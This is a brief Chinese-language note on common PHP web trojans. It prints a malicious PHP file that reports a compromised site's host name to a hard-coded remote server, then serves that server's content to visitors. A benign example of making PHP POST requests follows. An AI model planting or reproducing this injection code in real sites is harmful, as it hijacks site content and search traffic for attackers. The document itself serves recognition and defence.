打开php网页中木马,常见PHP网页木马

# 常见的PHP网页木码

>[success]网站上线后，就容易被恶意挂码，除了做好网站安全外，还要了解，常见的挂码方式。

>

## 下面就是一个恶意的代码

>[success]这种的还不算是最为严中的，他只是让在你的站点中增加了一个php文件，当搜索引擎访问题，会打开他们指定的内容。

>

>[success]这种攻击，一般会在站点根目录生成一个`global`文件，下面的php文件，就是通过这个文件生成的。

~~~

set_time_limit(0);

header("Content-Type: text/html;charset=gb2312");

$Remote_server = "http://122.114.242.133/";

$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];

$Content_mb=getHTTPPage($Remote_server."/index.php?host=".$host_name);

function getHTTPPage($url) {

$opts = array(

'http'=>array(

'method'=>"GET",

'header'=>"User-Agent: aQ0O010O"

)

);

$context = stream_context_create($opts);

$html = @file_get_contents($url, false, $context);

if (empty($html)) {

exit("

Connection Error!

");

}

return $html;

}

echo $Content_mb;

?>

~~~

>[danger]stream_context_create — 创建资源流上下文

>stream_context_create()模拟POST/GET，

~~~

//请求数据

$data =[

'name'=>'zhangsan',

'age'=>25,

];

//http_build_query — 生成 URL-encode 之后的请求字符串

$data = http_build_query($data);

//post请求地址

$url="http://www.127.0.0.1/test.php"

//配置请求方式及请求参数等

$options = array(

'http' => array(

'method' => 'POST',

'header' => 'Content-type:application/x-www-form-urlencoded',

'content' => $data

//'timeout' => 60 * 60 // 超时时间(单位:s)

)

);

//stream_context_create — 创建资源流上下文

$context = stream_context_create($options);

//获取数据

$result = file_get_contents($url, false, $context);

~~~